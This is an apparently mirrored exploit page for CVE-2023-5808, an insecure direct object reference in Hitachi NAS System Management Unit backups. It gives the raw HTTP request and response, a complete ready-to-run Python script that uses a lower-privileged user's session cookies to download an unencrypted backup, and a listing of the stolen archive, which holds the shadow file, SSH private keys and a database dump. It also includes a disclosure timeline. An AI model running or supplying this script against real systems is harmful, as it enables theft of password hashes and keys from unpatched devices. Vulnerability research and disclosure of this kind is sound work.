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CVE-2023-5808 — Exploit for CVE-2023-5808, an IDOR in Hitachi NAS SMU Backup & Restore, allowing unauthorized download of sensitive configuration backups. | Kitploit
Tools/GitHubGitHub/arszilla/cve-2023-5808
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubarszilla/cve-2023-5808

CVE-2023-5808

Exploit for CVE-2023-5808, an IDOR in Hitachi NAS SMU Backup & Restore, allowing unauthorized download of sensitive configuration backups.

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212 years agoNot yet reviewed

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CVE-2023-5808

CVE-2023-5808 is an Insecure Direct Object Reference (IDOR) in vulnerability found in Hitachi NAS' (HNAS') System Management Unit (SMU) Backup & Restore functionality. This vulnerability affects SMU versions prior to 14.8.7825.01.

Exploitation

This exploit requires the attacker to have control over the credentials of a user account that is not Read-Only or Global Administrator, i.e.:

  • Storage Administrator
  • Server Administrator
  • Server + Storage Administrator
  • By design, users with the Global Administrator role should be able to access SMU's Backup & Restore functionality, located at https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored and send the following request, which would create and download an (unencrypted/password-less) backup:

    root@kitploit:~
    GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
    Host: REDACTED
    Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Dnt: 1
    Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Te: trailers
    Connection: close
    
    

    If the request is successful, the SMU responds with the following response and starts the download of smu_2023-04-12_1543+0200.zip:

    root@kitploit:~
    HTTP/1.1 200 
    Cache-Control: PRIVATE
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Strict-Transport-Security: max-age=31536000;includeSubDomains
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
    Pragma: cache
    Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
    Content-Type: application/download
    Content-Length: 1831412
    Date: Wed, 12 Apr 2023 13:43:15 GMT
    Connection: close
    Server: SMU
    
    [DATA]
    

    However, due to an oversight in SMU's business logic, an attacker with access to a Storage Administrator, Server Administrator or Server + Storage Administrator account can update the JSESSIONID and JSESSIONIDSSO cookies to match the cookies of the user that they are in possession of, allowing them to download the backup archive.

    Thus, a script like CVE-2023-5808.py could be used to exploit this vulnerability:

    root@kitploit:~
    #!/usr/bin/python3
    #
    # Title:            Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability 
    # CVE:              CVE-2023-5808
    # Date:             2023-12-13
    # Exploit Author:   Arslan Masood (@arszilla)
    # Vendor:           https://www.hitachivantara.com/
    # Version:          < 14.8.7825.01
    # Tested On:        13.9.7021.04        
    
    import argparse
    from datetime import datetime
    from os import getcwd
    
    import requests
    
    parser = argparse.ArgumentParser(
        description="CVE-2023-5808 PoC",
        usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
        )
    
    # Create --host argument:
    parser.add_argument(
        "--host",
        required=True,
        type=str,
        help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
        )
    
    # Create --id argument:
    parser.add_argument(
        "--id",
        required=True,
        type=str,
        help="JSESSIONID cookie value"
        )
    
    # Create --sso argument:
    parser.add_argument(
        "--sso",
        required=True,
        type=str,
        help="JSESSIONIDSSO cookie value"
        )
    
    args = parser.parse_args()
    
    def download_file(hostname, jsessionid, jsessionidsso):
        # Set the filename:
        filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
    
        # Vulnerable SMU URL:
        smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
    
        # GET request cookies
        smu_cookies = {
            "JSESSIONID":       jsessionid,
            "JSESSIONIDSSO":    jsessionidsso
            }
    
        # GET request headers:
        smu_headers = {
            "User-Agent":                   "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
            "Accept":                       "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language":              "en-US,en;q=0.5",
            "Accept-Encoding":              "gzip, deflate",
            "Dnt":                          "1",
            "Referer":                      f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
            "Upgrade-Insecure-Requests":    "1",
            "Sec-Fetch-Dest":               "document",
            "Sec-Fetch-Mode":               "navigate",
            "Sec-Fetch-Site":               "same-origin",
            "Sec-Fetch-User":               "?1",
            "Te":                           "trailers",
            "Connection":                   "close"
            }
    
        # Send the request:
        with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
            with open(filename, 'wb') as backup_archive:
                # Write the zip file to the CWD:
                backup_archive.write(file_download.content)
    
        print(f"{filename} has been downloaded to {getcwd()}")
    
    if __name__ == "__main__":
        download_file(args.host, args.id, args.sso)
    

    The justification of the CVSS v3.1 score of 7.6 could be further understood by examining the contents of smu_2023-04-12_1543+0200.zip:

    root@kitploit:~
    $ tree -a
    .
    ├── adc_replic
    │   ├── backup.properties
    │   ├── mig_policies
    │   │   ├── MIGR_TEST_POL
    │   │   │   ├── 1
    │   │   │   │   ├── config
    │   │   │   │   └── lockfile
    │   │   │   ├── config
    │   │   │   └── lockfile
    │   │   └── next_schedule
    │   ├── mig_rules
    │   │   └── MIGR_TEST
    │   ├── pkgHandler.xml
    │   ├── replic_policies
    │   ├── replic_rules
    │   ├── replic_schedules
    │   │   └── next_schedule
    │   └── replic_scripts
    ├── backup.properties
    ├── mgr
    │   ├── axalon.properties
    │   ├── backup.properties
    │   ├── banner.txt.disabled
    │   ├── managedservers.json
    │   ├── pkgHandler.xml
    │   ├── systemmonitor_1.xml
    │   ├── systemmonitor_2.xml
    │   └── systemmonitor_3.xml
    ├── network
    │   └── yp.conf
    ├── postgresql
    │   ├── backup.properties
    │   ├── config_pgdump.tar
    │   ├── pkgHandler.xml
    │   └── rolledupstats_pgdump.tar
    ├── quorumdev2
    │   ├── backup.properties
    │   ├── CB-HNAS1-CLU
    │   │   └── cluster.conf
    │   ├── HH-HNAS1-CLU
    │   │   └── cluster.conf
    │   └── quorumdev2.conf
    ├── quorumdevice
    │   └── backup.properties
    ├── readyToShip
    │   ├── backup.properties
    │   ├── pkgHandler.xml
    │   ├── ssh_host_dsa_key
    │   ├── ssh_host_dsa_key.pub
    │   ├── ssh_host_key
    │   ├── ssh_host_key.pub
    │   ├── ssh_host_rsa_key
    │   └── ssh_host_rsa_key.pub
    ├── server-tools
    │   ├── backup.properties
    │   ├── ldap.conf.rb
    │   ├── massage-commands-for-managed-servers
    │   ├── ypcat-group
    │   └── ypcat-passwd
    ├── smu_users
    │   ├── backup.properties
    │   ├── manager
    │   │   └── ssh
    │   │       └── known_hosts
    │   ├── pkgHandler.xml
    │   ├── root
    │   │   └── ssh
    │   │       └── known_hosts
    │   └── shadow
    └── tomcat
        ├── backup.properties
        ├── nas.keystore
        └── pkgHandler.xml
    
    25 directories, 49 files
    

    The .zip archive contains various files regarding the SMU's configuration. The files included are (but not limited to):

    • SMU's /etc/shadow file, containing every user's CLI password hashes,
    • PEM DSA, PEM RSA, and OpenSSH RSA1 private keys,
    • PostgreSQL database dump.

    Notes

    This vulnerability is a "sister vulnerability" to CVE-2023-6538.

    References

    • CVE-2023-5808
    • CVE-2023-6538
    • Hitachi Vantara Security Bulletin for CVE-2023-5808

    Timeline

    • 2020-04-12 - Vulnerability discovered
    • 2023-04-20 - Vulnerability reported to [email protected]
    • 2023-08-11 - Initial CVE number assignment
    • 2023-12-06 - CVE numbers re-assigned
    • 2023-12-11 - CVE numbers re-assigned
    • 2023-12-11 - CVE published
    • 2023-12-13 - Public disclosure
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